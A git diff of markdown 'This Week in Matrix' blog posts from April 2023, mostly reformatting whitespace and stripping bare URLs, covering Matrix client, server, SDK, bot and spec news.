a demonstration, I would have some screencasts but nothing I've tried yet seems to work in wayland. As always, feel free to check out [#construct:zemos.net](https://matrix.to/#/#construct:zemos.net) for a live demonstration of the real thing. -> +> +> > ![](/blog/img/uvZdkBdlTIdjyaCmvXjXVHNl.png) -> +> +> > ![](/blog/img/aVMXUONdJNJHkJxHvQeEftgs.png) ## Dept of Clients 📱 @@ -75,10 +80,10 @@ A Qt5-based IM client for Matrix [kitsune](https://matrix.to/#/@kitsune:matrix.org) says > ## Quaternion 0.0.96 beta -> +> > The first beta of Quaternion's new version has been published earlier this week, with (still work-in-progress and incomplete at the moment) E2EE support as the main highlight. The release notes can be found at [the usual place at GitHub](https://github.com/quotient-im/Quaternion/tree/0.0.96-beta1). Most of the changes are actually due to using libQuotient 0.7 under the hood so it's a short read this time; but make sure to check [the E2EE section in the library release notes](https://github.com/quotient-im/libQuotient/releases/tag/0.7.0#user-content-e2ee) (two key things: don't use encryption if it's the only device you're logged in from, and don't expect Quaternion to decrypt historical messages). Translators are welcome to update the strings at [the usual place](https://app.lokalise.com/project/730769035bbc328c31e863.62506391) (you only need strings tagged `dev`). -> -> For this beta, both the pre-built packages at GitHub and the Flatpak (NB: you have to use the Flathub [beta channel](https://discourse.flathub.org/t/how-to-use-flathub-beta/2111) to get it) have E2EE switched on and you _cannot_ turn it off; so please don't use this version for anything serious (I know you waited for so long; it's still the first beta, okay?). The work on [making E2EE opt-in on a per-account basis](https://github.com/quotient-im/libQuotient/issues/603) is ongoing, and there's still a [laundry list](https://github.com/quotient-im/Quaternion/projects/2#column-5799377) of things to do before the final 0.0.96 is released, with a lot of quick and easy fixes - so please help with closing them off to make the release come sooner! +> +> For this beta, both the pre-built packages at GitHub and the Flatpak (NB: you have to use the Flathub [beta channel](https://discourse.flathub.org/t/how-to-use-flathub-beta/2111) to get it) have E2EE switched on and you *cannot* turn it off; so please don't use this version for anything serious (I know you waited for so long; it's still the first beta, okay?). The work on [making E2EE opt-in on a per-account basis](https://github.com/quotient-im/libQuotient/issues/603) is ongoing, and there's still a [laundry list](https://github.com/quotient-im/Quaternion/projects/2#column-5799377) of things to do before the final 0.0.96 is released, with a lot of quick and easy fixes - so please help with closing them off to make the release come sooner! ### Element iOS ([website](https://github.com/vector-im/element-ios)) @@ -87,7 +92,7 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi [Ștefan](https://matrix.to/#/@stefan.ceriu:matrix.org) announces > Happy Monday everybody, ending yet another exciting week in iOS land that brought us: -> +> > * Push notifications in ElementX (albeit with no content until we figure out the rusty bits) > * Blocking users from the content reporting screen > * An improved direct message room details screen @@ -98,8 +103,8 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi > * An improved timeline item debug menu > * and more.. > * Meanwhile a new Element release is on the way with significant improvements for read marker and the ability to mention a @room -> -> Last but not least, with Localazy now fully setup, please join us in making ElementX the nicest Matrix client to use in any language at https://localazy.com/p/element +> +> Last but not least, with Localazy now fully setup, please join us in making ElementX the nicest Matrix client to use in any language at ### Cinny ([website](https://cinny.in)) @@ -108,17 +113,17 @@ Cinny is a Matrix client focused on simplicity, elegance and security [Lozenge](https://matrix.to/#/@kfiven:matrix.org) says > ## Cinny v2.2.6 -> -> #### Security release -> +> +> ### Security release +> > * Update matrix-js-sdk to v24: Address [CVE-2023-28427](https://matrix.org/blog/2023/03/28/security-releases-matrix-js-sdk-24-0-0-and-matrix-react-sdk-3-69-0) -> +> > Our hosted versions are already up-to-date. If you are self hosting, please update to v2.2.6 as soon as possible. -> -> **Release**: https://github.com/cinnyapp/cinny/releases/tag/v2.2.6 -> +> +> **Release**: +> > #### Folds -> +> > Our work on Folds (the design system for Cinny) is finished and it's now getting incorporated into Cinny itself. You can find the design system [code on Github](https://github.com/cinnyapp/folds) and a [live demo here](https://folds-sb.netlify.app/). ## Dept of Non Chat Clients 🎛️ @@ -129,13 +134,14 @@ Cinny is a Matrix client focused on simplicity, elegance and security > I built a chess client on Matrix! You can now play chess with your friends using a Matrix server as your back-end. > It's a hacky design built in two weeks time, but it's ready for demo purposes. Users can log in using an access token or using a username and password, and they'll be able to receive and send invites. -> +> > The chess games work in any room, but I'll gladly accept games from people who challenge mr-demo in [#elm-sdk-development:noordstar.me](https://matrix.to/#/#elm-sdk-development:noordstar.me) in the next week. No promises that I'm good at the game though. ;) -> -> You can [view the source code here](https://github.com/BramvdnHeuvel/Matrix-Chess), and you can use the live demo version: https://chess.noordstar.me/ -> +> +> You can [view the source code here](https://github.com/BramvdnHeuvel/Matrix-Chess), and you can use the live demo version: +> > This client is meant as a proof-of-concept for the Elm SDK, so any and all feedback is welcome! You can contact me at [#elm-sdk:matrix.org](https://matrix.to/#/#elm-sdk:matrix.org) . -> +> +> > ![](/blog/img/fAIfIFRiGjktwfMDHpMeIenf.png) ### export matrix messages ([website](https://gitlab.com/etke.cc/emm)) @@ -145,11 +151,11 @@ A commandline utility to export matrix messages [Aine](https://matrix.to/#/@aine:etke.cc) reports > emm (export matrix messages) v0.9.6 -> +> > Long time no see! The emm tool got new release with proper handling of replaced (edited) messages. -> +> > Why project doesn't get much updates you ask? Because it does the job almost perfectly! Try it yourself and find out 😉 -> +> > Check out the [source code](https://gitlab.com/etke.cc/emm) (has binary releases) and say "hi!" in the [#emm:etke.cc](https://matrix.to/#/#emm:etke.cc) ## Dept of SDKs and Frameworks 🧰 @@ -159,14 +165,14 @@ A commandline utility to export matrix messages [Bram](https://matrix.to/#/@bram:noordstar.me) reports > As by [Elm's guidelines](https://package.elm-lang.org/help/design-guidelines#design-for-a-concrete-use-case), packages and SDK's in Elm aren't just published as they're being developed - they're published when they're finished and can be used widely. -> +> > For this reason, the final phase of developing [the Elm SDK](https://github.com/noordstar/elm-matrix-sdk) is to test, make examples, and ask the community for feedback. For this reason, I've built [a chess client as a demo version](https://github.com/BramvdnHeuvel/Matrix-Chess). -> +> > Hopefully, -> +> > * This shows the performance optimization of Elm to the Matrix community. The entire client fits in a 57,22kB JavaScript file, which is quite small when considering that Hydrogen's JavaScript file is 13 times as large. -> * This shows the potential of using Matrix to the Elm community as a simple back-end for the purpose of _"and now you can do this with other Elm clients"_. -> +> * This shows the potential of using Matrix to the Elm community as a simple back-end for the purpose of *"and now you can do this with other Elm clients"*. +> > For this reason, I am asking both communities for feedback - what tiny Elm clients would you like to see created? ### Trixnity ([website](https://gitlab.com/trixnity/trixnity)) @@ -176,14 +182,16 @@ Multiplatform Kotlin SDK for Matrix [Benedict](https://matrix.to/#/@benedict:imbitbu.de) announces > Trixnity v3.6.0 is released. There is also a [website with documentation](https://trixnity.gitlab.io/trixnity/) for Trixnity now 🚀 -> +> > features/improvements: +> > * matrix 1.6 support > * BREAKING CHANGE: more flexible API for loading events > * added SSO redirect endpoints > * cleaner logging messages -> +> > bugfixes: +> > * also catch deserialization exceptions on decrypting olm events > * fix server discovery from UserId @@ -196,7 +204,7 @@ Command line admin tool for Synapse (Matrix reference homeserver) [jacksonchen666](https://matrix.to/#/@jacksonchen666:jacksonchen666.com) announces > It's been only a little bit since our last TWIM. But since v0.40, we did some improvements on [how synadm handles very special characters](https://github.com/JOJ0/synadm/pull/105) (e.g. `/`), [automated releases](https://github.com/JOJ0/synadm/pull/108), and control over [whether certificates should be verified](https://github.com/JOJ0/synadm/pull/88). -> +> > That's all the notable changes in synadm. But if you really want to get into the raw changelogs, you can [read all the commits](https://github.com/JOJ0/synadm/compare/v0.40...v0.41.2) or look at the [release notes](https://github.com/JOJ0/synadm/releases). ## Dept of Bots 🤖 @@ -207,12 +215,14 @@ Command line admin tool for Synapse (Matrix reference homeserver) > Introducing [Phish Bot](https://matrix.to/#/@phishbot:matrix.org), a Matrix bot that detects phishing/malicious links sent in your chat rooms and notifies users that the links are malicious. > Invite [Phish Bot](https://matrix.to/#/@phishbot:matrix.org) to a room to get started. -> +> > * Github: [`dzlandis/Phish-Matrix-Bot`](https://github.com/dzlandis/phish-matrix-bot) > * Matrix Space: [`#phishbot:matrix.org`](https://matrix.to/#/#phishbot:matrix.org) > * Support Room: [`#phishbotsupport:matrix.org`](https://matrix.to/#/#phishbotsupport:matrix.org) > * Announcements Room: [`#phishbotannouncements:matrix.org`](https://matrix.to/#/#phishbotannouncements:matrix.org) +> > ![](/blog/img/d3d16243a66bbb4ae18f8d89c8b563c28d84e77c.gif) +> > ![](/blog/img/b1fb46415acee1833c8b35440b3da86548562809.gif) ### hasskbot the vacuum bot @@ -220,17 +230,18 @@ Command line admin tool for Synapse (Matrix reference homeserver) [Oleg](https://matrix.to/#/@oleg:fiksel.info) reports > Did you know you can control your robot vacuum cleaner via Matrix? -> +> > How? -> +> > Using [home-assistant](https://www.home-assistant.io) and [hasskbot](https://gitlab.com/olegfiksel/hasskbot)! 😉 -> +> > I added [the docs how to configure this](https://gitlab.com/olegfiksel/hasskbot/-/blob/master/examples/vacuum-robot-prompt.md). -> +> > Similar approach can be used to control any entity in home-assistant via hasskbot. -> +> > Hasskbot [v1.0.2](https://gitlab.com/olegfiksel/hasskbot/-/blob/master/CHANGELOG.md#v102) is now based on the latest [Opsdroid](https://opsdroid.dev) version, which includes [simpler logging when running in a container](https://github.com/opsdroid/opsdroid/pull/1929). -> +> +> > ![](/blog/img/uDgAnRoQfLijdDUeJfzqJQwR.png) ## Dept of Events and Talks 🗣️ @@ -240,18 +251,19 @@ Command line admin tool for Synapse (Matrix reference homeserver) [Christian Paul (jaller94)](https://matrix.to/#/@jaller94:matrix.org) reports > Meet anoa, one of the Spec core team members. -> +> > We talked about Matrix events at FOSDEM 2023, the Matrix Spec core team and Matrix Spec changes (MSCs). -> -> RSS feed: https://anchor.fm/cdb34188/podcast/rss -> Episode link: https://podcasters.spotify.com/pod/show/matrix-podcast0/episodes/Anoa-English-episode---Spec-core-team--FOSDEM-2023-e21ufnm -> Fediverse post: https://mastodontech.de/@jaller94/110157776518946999 +> +> RSS feed: +> Episode link: +> Fediverse post: ## Dept of Ping Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -268,6 +280,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|rom4nik.pl|2063| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2023/04/2023-04-14-this-week-in-matrix-2023-04-14.md b/content/blog/2023/04/2023-04-14-this-week-in-matrix-2023-04-14.md index 7fd301988..6536bf0a7 100644 --- a/content/blog/2023/04/2023-04-14-this-week-in-matrix-2023-04-14.md +++ b/content/blog/2023/04/2023-04-14-this-week-in-matrix-2023-04-14.md @@ -16,42 +16,42 @@ An unfortunate series of events prevented us from recording this week! Stay tune [Andrew Morgan (anoa) [GMT-6]](https://matrix.to/#/@andrewm:element.io) says -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/proposals. -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> > ## MSC Status -> +> > **New MSCs:** -> +> > * [MSC3999: Add causal parameter to `/timestamp_to_event`](https://github.com/matrix-org/matrix-spec-proposals/pull/3999) > * [MSC3998: Add timestamp massaging to `/join` and `/knock`](https://github.com/matrix-org/matrix-spec-proposals/pull/3998) > * [MSC3997: Add timestamp massaging to `/createRoom`](https://github.com/matrix-org/matrix-spec-proposals/pull/3997) > * [MSC3996: Encrypted mentions-only rooms.](https://github.com/matrix-org/matrix-spec-proposals/pull/3996) > * [MSC3995: \[WIP\] Linearized Matrix](https://github.com/matrix-org/matrix-spec-proposals/pull/3995) -> +> > **MSCs in Final Comment Period:** -> +> > * [MSC3970: Scope transaction IDs to devices](https://github.com/matrix-org/matrix-spec-proposals/pull/3970) (merge) -> +> > **Accepted MSCs:** -> +> > * _No MSCs were accepted this week._ -> +> > **Closed MSCs:** -> +> > * _No MSCs were closed/rejected this week._ -> +> > ## Spec Updates -> +> > The concept of Linearized Matrix ([MSC3995](https://github.com/matrix-org/matrix-doc/issues/3995)) is moving forwards as a potential answer to the European Union's, Digital Markets Act. The fully-decentralised Direct Acyclic Graph (DAG) model of Matrix is well-known, yet complex to implement and thus a potential blocker to gatekeepers who are looking for an interoperable messaging protocol to link their chat service to. Enter Linearized Matrix, a concept of a Matrix room that uses a linked-list to store events in a room, rather than a DAG. Crucially, while being simpler to implement, our aim is to be forward-compatible with the DAG version of Matrix, such that gatekeepers may switch over to DAG-style Matrix in the future if they so chose. -> +> > See [MSC3995](https://github.com/matrix-org/matrix-doc/issues/3995) for more information, and a reminder that this is all still very much in flux! -> +> > ## Random MSC of the Week -> +> > The random MSC of the week is... [MSC2943: Return an event ID for membership endpoints](https://github.com/matrix-org/matrix-spec-proposals/pull/2943)! -> +> > Currently, when you send a (state) event manually via [PUT /\_matrix/client/v3/rooms/{roomId}/send/{eventType}/{txnId}](https://spec.matrix.org/v1.6/client-server-api/#put_matrixclientv3roomsroomidsendeventtypetxnid), you'll receive an event ID in the response. While you can send membership events this way, it's often a bit nicer to use the various `POST /_matrix/client/v3/rooms/{roomId}/join,leave,kick` endpoints instead. However, these do not return an event ID in their response. For clients that don't use [`/sync`](https://spec.matrix.org/v1.6/client-server-api/#get_matrixclientv3sync), this would force them to use the former, generic endpoint in order to retrieve the event ID of the membership event. -> +> > [MSC2943](https://github.com/matrix-org/matrix-doc/issues/2943) attempts to rectify that by specifying that membership-related endpoints should return an event ID, similar to the generic event send endpoint. Currently this MSC is just waiting on an implementation in a homeserver (and possible a client) in order to move forward. If you feel strongly about this change being included in the Matrix spec, why not get your hands dirty with some homeserver dev? @@ -65,22 +65,22 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [Shay](https://matrix.to/#/@shayshay:matrix.org) reports > Another week has gone by and we here at Synapse have another release for you, v1.81.0, filled with features and bugfixes. But first some announcements: -> +> > Synapse now attempts the versioned appservice paths before falling back to the [legacy paths](https://spec.matrix.org/v1.6/application-service-api/#legacy-routes). Usage of the legacy routes should be considered deprecated. -> +> > Additionally, Synapse has supported sending the application service access token via [the `Authorization` header](https://spec.matrix.org/v1.6/application-service-api/#authorization) since v1.70.0. For backwards compatibility it is _also_ sent as the `access_token` query parameter. This is insecure and should be considered deprecated. -> +> > A future version of Synapse (v1.88.0 or later) will remove support for legacy application service routes and query parameter authorization. -> +> > And now the highlights: -> +> > * Added the ability to enable/disable registrations when in the OIDC flow. -> * Added a primitive helper script for listing worker endpoints. +> * Added a primitive helper script for listing worker endpoints. > * Built Debian packages for Ubuntu 23.04 (Lunar Lobster) > * Fixed a long-standing bug preventing users from rejoining rooms after being banned and unbanned over federation. Contributed by Nico. -> * Fixed a long-standing bug where edits of non-`m.room.message` events would not be correctly bundled. +> * Fixed a long-standing bug where edits of non-`m.room.message` events would not be correctly bundled. > * Fixed a bug introduced in Synapse v1.55.0 which could delay remote homeservers being able to decrypt encrypted messages sent by local users. -> +> > And so much more! To read about everything in the release, take a look at the release notes [here](https://github.com/matrix-org/synapse/releases/tag/v1.81.0) and otherwise have a great week. ### Construct ([website](https://github.com/matrix-construct/construct)) @@ -90,10 +90,11 @@ A performance-oriented homeserver with minimal dependencies. [Jason Volk](https://matrix.to/#/@jevolk:matrix.org) reports > You probably know about the client command-line that pops up when a message starts with `/`. Construct has its own server-side command-line when a message starts with `\`. Unlike commands sent to the `!control` room, the server-side command-line is available to all users and not just administrators. In fact, the `!control` room is quite passé as I find myself always using the `control` server-side command, since the results can be echoed to the room I'm in and others can see it too. -> +> > This week Construct's server-side command-line gained the `watch` command. This is similar to `watch(1)` in unix environments. You type `watch ` to repeat your command at a set interval. Previously the `watch` command was only available at the terminal [console](https://github.com/matrix-construct/construct/wiki/Useful-console-command-examples#accessing-the-console). The `watch` command will run until you click the ▶️ button, or redact the command itself. -> +> > The fun never stops in [#test:zemos.net](https://matrix.to/#/#test:zemos.net) - Join us today! +> > ![](/blog/img/UehLRZAbginlItkrPqQzjLES.png) ## Dept of Clients 📱 @@ -105,14 +106,15 @@ Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) reports > Since I found some time to step away from the 3d printer (damn, those things are addiciting), let me give you an update of some of the changes happening recently in Nheko! -> +> > A very fundamental change from LorenDB is that Nheko now renders messages it doesn't understand. For various reasons Nheko always tried to hide those from you, but LorenDB convinced me, that showing them has more benefits than downsides and also did all the changes and wrote plenty of tests, even when I was especially picky! And at the same time Nheko can now render the rainfall chat effect. 🌧️ -> +> > Similarly I reworked how our message variant/enum type works. This made the debug build of Nheko shrink from 450MB to 350MB for me, which is quite significant, even if it probably has no visible impact on any users, since the compressed debug size as well as the stripped binary are basically the same size. (The flatpaks were at 5MB download size and still are at 5MB download size.) It does make some of our error messages nicer and allows us to implement some further improvements for devs down the line. It does mean Nheko now won't compile on GCC10 anymore though, which is included in the current debian stable release. But the next Debian release is just around the corner, so hopefully the impact from that is limited. -> +> > We also had a nice contribution from Sateallia: You can now order rooms alphabetically. While I never saw any use for that feature, some people can't live without it and I appreciate that someone stepped up to implement it. -> +> > And the last interesting change, we teaked our threads UI a bit again. Because it was easy to miss, that a message is in a thread, we added a thread indicator on the left as well. We are still experimenting if that should replace the old indicator or it should complement it, so lease give feedback if it is an improvement or not. +> > ![](/blog/img/CWRnmislVHnvzcJKURhCsWas.png) ### Neochat ([website](https://invent.kde.org/network/neochat)) @@ -122,7 +124,7 @@ A client for matrix, the decentralized communication protocol [Tobias Fella](https://matrix.to/#/@tobiasfella:kde.org) announces > Heyo, I just realized you haven't heard about NeoChat in a while and I'm in a good mood, so here's an update: -> +> > * James is currently on a mission to document the entire NeoChat codebase, helping future contributors find their way around > * He has also entirely rewritten text handling for incoming and outgoing messages, making it more robust > * Thanks to deals made by Volker, we were finally able to finish the merge request for showing location events @@ -147,7 +149,8 @@ A client for matrix, the decentralized communication protocol > * Message editing is now done inline in the message > * Large amounts of state events are collapsed some more and can now be expanded to view all of them > * Finally, too many minor fixes to list them all here :) -> +> +> > ![](/blog/img/c12e8cc5dc3c3438cf07bcb0908d8e53b826c040.png) ### Element Web/Desktop ([website](https://github.com/vector-im/element-web)) @@ -172,8 +175,10 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi > * Work is underway to enhance app navigation to support permalink for messages and opening the app from a notification. > * Room and user detail views are currently in review and will be available soon. > * We have started the integration of OIDC (OpenID Connect). This will enable users to authenticate with third-party identity providers, giving them seamless access to their account. -> +> +> > ![](/blog/img/bYnhJMRYKYAEcwHJkjaVXZsx.png) +> > ![](/blog/img/OqqXgEfWSKjdXTiPMrHLGMAc.png) ### Element Android ([website](https://github.com/vector-im/element-android)) @@ -185,7 +190,7 @@ Secure and independent communication for Android, connected via Matrix. Come tal > * In Element X on Android we’re working on introducing the sending and receiving of files. > * We've also been working hard to improve our push notification system, and we're pleased to announce that significant progress has been made in this area. Keep an eye out for further updates as we continue to grow this feature. > * Also the room creation flow is progressing well. User will be able to create room and DM with Element Android X. -> * Next, work will start on integrating OIDC (OpenID Connect) into Element X Android app. This will enable users to authenticate with third-party identity providers, giving them seamless access to their account. +> * Next, work will start on integrating OIDC (OpenID Connect) into Element X Android app. This will enable users to authenticate with third-party identity providers, giving them seamless access to their account. > * In the Element Android app, the issue that was preventing some users from making video calls using Jitsi has been fixed on WebRTC. We will integrate the next Jitsi release as soon as it is available. With Jitsi back up and running, users can once again connect face-to-face with their friends and colleagues. ## Dept of Ping @@ -193,6 +198,7 @@ Secure and independent communication for Android, connected via Matrix. Come tal Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -209,6 +215,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|herkulessi.de|4185| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2023/04/2023-04-21-this-week-in-matrix-2023-04-21.md b/content/blog/2023/04/2023-04-21-this-week-in-matrix-2023-04-21.md index b94166baa..a996057e2 100644 --- a/content/blog/2023/04/2023-04-21-this-week-in-matrix-2023-04-21.md +++ b/content/blog/2023/04/2023-04-21-this-week-in-matrix-2023-04-21.md @@ -23,17 +23,17 @@ An open source Matrix homeserver implementation written from scratch in ANSI C a [Jordan Bancino](https://matrix.to/#/@jordan:bancino.net) reports > Telodendria, the very-much-a-work-in-progress Matrix homeserver written in C, has undergone some major architecture changes that make it more robust, more maintainable, and more feature-complete. Of note are these new features that came about as a result of the changes, though there are many more: -> +> > * **TLS:** We now have full TLS support for both the client and the server. Take your pick of OpenSSL or LibreSSL, or easily add support for another TLS implementation using our simple I/O API. > * **Admin API:** Work on the administrator API has begun. This includes implementing user privileges, and moving the program configuration to the database so it can be managed with a simple JSON API. -> +> > We have also done a little work on the Matrix specification: -> +> > * **Account Management:** Users can now change their passwords, set display names and avatars, and get information about their account. > * **User Interactive Authentication (UIA):** UIA is basically complete, I'm just working on wrapping up the web fallback pages. You can now use registration tokens to register for accounts on a Telodendria server as well, though as of the time of my writing this, these tokens can't be created through the Admin API quite yet. -> +> > Almost all of Client Authentication is complete and we are almost ready to move on to the core of the Matrix specification—rooms and events. -> +> > Visit [#telodendria-newsletter:bancino.net](https://matrix.to/#/#telodendria-newsletter:bancino.net) for more details, and feel free to join the discussion at [#telodendria-general:bancino.net](https://matrix.to/#/#telodendria-general:bancino.net) if you're interested in the project. ### Synapse ([website](https://github.com/matrix-org/synapse/)) @@ -44,14 +44,14 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t > Welcome back to the backend section of TWIM. This week we released Synapse > v1.82.0rc1 for your consideration. Here are a few of the highlights: -> -> * Allow loading the `/directory/room/{roomAlias}` endpoint on workers -> * Add some validation to `instance_map` configuration loading -> * Delete server-side backup keys when deactivating an account -> * Fix and document untold assumption that `on_logged_out` module hooks will be called before the deletion of pushers +> +> * Allow loading the `/directory/room/{roomAlias}` endpoint on workers +> * Add some validation to `instance_map` configuration loading +> * Delete server-side backup keys when deactivating an account +> * Fix and document untold assumption that `on_logged_out` module hooks will be called before the deletion of pushers > * Remove the broken, unspecced registration fallback. Note that the _login_ fallback is unaffected by this change. -> -> And much more! You can take a look at the release notes here: https://github.com/matrix-org/synapse/releases. As always, if you encounter a bug feel free to report it at https://github.com/matrix-org/synapse/issues/new/choose. +> +> And much more! You can take a look at the release notes here: . As always, if you encounter a bug feel free to report it at . ### Construct ([website](https://github.com/matrix-construct/construct)) @@ -60,14 +60,14 @@ A performance-oriented homeserver with minimal dependencies. [Jason Volk](https://matrix.to/#/@jevolk:matrix.org) says > 🔓 **End-to-End Encryption** is significantly more reliable in Construct this week. **E2EE** had always been flaky, but it was never clear before where it was going wrong. -> +> > ⛏️ The ice broke earlier this week when I noticed in a small corner of an Element dialogue that my `device_id` was being cut off at its `:` character. After [simplifying](https://github.com/matrix-construct/construct/commit/15cb6bfdcaedc8e34db14affa6b56dee26c27ff5) the `device_id` grammar things started to light up green again. I was then able to work through a standard list of [bugs](https://github.com/jevolk/charybdis/commit/0a151a3a9092dcee4eb37af85f8f217b22a62926), [ancient](https://github.com/jevolk/charybdis/commit/080748f0af172045fb0402492c945cf1595cac70) [code-rot](https://github.com/jevolk/charybdis/commit/336026dde675e3266e93e98329049612dabef423), and a couple of [incomplete](https://github.com/jevolk/charybdis/commit/1e42fa16a72ce339b14e72d2e5a7a5615d52f04f) [endpoints](https://github.com/jevolk/charybdis/commit/321ea3d6417250f2848d04397b9feffcf15e4158). -> +> > 🔐 All of this results in robust encryption sessions that survive clear-cache and reload, proper key backups without old sessions hanging around, and interactive verification without random cancellations. At the time of this writing, there is still one remaining hold-up with device verification for cross-signing so this week's [dockers](https://hub.docker.com/r/jevolk/construct/tags) might not finish building until mid-Saturday. -> +> > 🙋‍♂️ I'd like to thank Giovanni Bottaro for tracking down an issue leading one of the patches above. > 🙋 I'd like to thank qg for tracking down a rocksdb-related bug late last week right after TWIM. This fix has already been shipped in the latest Construct. -> +> > Don't keep your ❤️ for Construct a secret. Join [#test:zemos.net](https://matrix.to/#/#test:zemos.net) to encrypt everything else. ## Dept of Clients 📱 @@ -79,9 +79,9 @@ Secure and independent communication, connected via Matrix. Come talk with us in [kittykat](https://matrix.to/#/@kittykat:matrix.org) reports > * We’re still working hard on stuck notifications: -> -> - The prototype implementation of [MSC 3981](https://github.com/matrix-org/matrix-spec-proposals/pull/3981) is finished and the first round of feedback is positive. -> - We’ve extended dev tools - now you can see dev tools from the room list meaning you don’t have to go into a room in order to access it . +> +> * The prototype implementation of [MSC 3981](https://github.com/matrix-org/matrix-spec-proposals/pull/3981) is finished and the first round of feedback is positive. +> * We’ve extended dev tools - now you can see dev tools from the room list meaning you don’t have to go into a room in order to access it . > * Improving notifications in general is also still in progress, next week we’ll be mapping push rules to improve settings pages and make them simpler for all users. > * Our improvements to accessibility continue to be delivered also which we’re very excited about. @@ -92,9 +92,11 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi [Ștefan](https://matrix.to/#/@stefan.ceriu:matrix.org) says > Element version 1.10.11 is incoming with mention pill support in the rich text editor, bug fixes and performance improvements. We have also made various improvements to the timeline UI, improved our crypto stack and saw the first version of slash commands suggestions -> +> +> > ![](/blog/img/FlKBKhmIBPreTUPITwnNZlhI.png) -> +> +> > ![](/blog/img/HLyPOkpcOWWmvAEdacWsXjuP.png) ### Element X iOS ([website](https://github.com/vector-im/element-x-ios)) @@ -103,7 +105,8 @@ A total rewrite of Element-iOS using the Matrix Rust SDK. [Ștefan](https://matrix.to/#/@stefan.ceriu:matrix.org) says -> This week in Element X, +> This week in Element X, +> > * We have fixed various issues around sliding sync, improved notification handling and various root components > * We are making very good progress on OIDC and invitation support while work continues on media uploading and the room creation, room detail and user detail screens @@ -122,27 +125,28 @@ Secure and independent communication for Android, connected via Matrix. Come tal [uhoreg](https://matrix.to/#/@hubert:uhoreg.ca) says -> Messaging Layer Security (MLS) is an IETF standard for end-to-end encryption in messaging systems. We've been working on adapting it to work with Matrix, and implementing a proof-of-concept in Element web. You can view an demo of some of the early progress at https://scitech.video/w/sfMitVx1Zej4Yvvu3fAK5B, which shows creation of an MLS group and exchange of encrypted messages. But things are progressing, and this demo is already out of date. Keep an eye out for more demos. +> Messaging Layer Security (MLS) is an IETF standard for end-to-end encryption in messaging systems. We've been working on adapting it to work with Matrix, and implementing a proof-of-concept in Element web. You can view an demo of some of the early progress at , which shows creation of an MLS group and exchange of encrypted messages. But things are progressing, and this demo is already out of date. Keep an eye out for more demos. ## Dept of SDKs and Frameworks 🧰 ### elm-matrix-sdk ([website](https://github.com/noordstar/elm-matrix-sdk)) -Matrix SDK implemented in Elm. +Matrix SDK implemented in Elm. [Bram](https://matrix.to/#/@bram:noordstar.me) reports > After having received feedback from the Matrix and Elm community on the [Chess client](https://chess.noordstar.me/), it is now time for the final development phase: making the SDK developer-friendly so that a version `v1.0.0` can be published. -> +> > The [Elm SDK](https://github.com/noordstar/elm-matrix-sdk) has received a large refactor, which includes the following changes: +> > * No more `Task` types! Everything is now packaged in a `Cmd` type from a `Task Never VaultUpdate` type, which means that the `Vault` type handles all potential complaints for you. > * When a `Cmd` fails and the `Vault` thinks it is wise to try again, it will sneak that one along with the next `Cmd` you're planning on giving to the API. Feedback on this behaviour is welcome, this might still change before version `1.0.0`. > * Greatly improved documentation -> +> > The current plan is to implement filters so that the SDK will be butter smooth sailing through that endless initial sync. There's still a few ambiguities left in the Matrix spec that are holding the SDK back as a pure and immutable language, but we're slowly getting there. -> +> > For demo purposes, here's a demonstration of how to get all named Matrix rooms from your client: -> +> > ```elm > rooms : List String > rooms = @@ -158,14 +162,14 @@ Next-gen crypto-included SDK for developing Clients, Bots and Appservices; writt [Jonas Platte](https://matrix.to/#/@jplatte:flipdot.org) says > Since our last update three weeks ago, -> +> > * There were new releases of our JS crypto bindings: [matrix-sdk-crypto-nodejs-v0.1.0-beta.4](https://github.com/matrix-org/matrix-rust-sdk/releases/tag/matrix-sdk-crypto-nodejs-v0.1.0-beta.4), [matrix-sdk-crypto-js-0.1.0-alpha.7](https://github.com/matrix-org/matrix-rust-sdk/releases/tag/matrix-sdk-crypto-js-0.1.0-alpha.7) > * We [updated](https://github.com/matrix-org/matrix-rust-sdk/pull/1744) [logs](https://github.com/matrix-org/matrix-rust-sdk/pull/1746) [and](https://github.com/matrix-org/matrix-rust-sdk/pull/1749) [other](https://github.com/matrix-org/matrix-rust-sdk/pull/1772) [debug](https://github.com/matrix-org/matrix-rust-sdk/pull/1773) [info](https://github.com/matrix-org/matrix-rust-sdk/pull/1797) > * A bunch of functionality was added to the main FFI crate: -> - [Getting the inviter for a room in invite state](https://github.com/matrix-org/matrix-rust-sdk/pull/1738) -> - [`InReplyToDetails`](https://github.com/matrix-org/matrix-rust-sdk/pull/1748) -> - 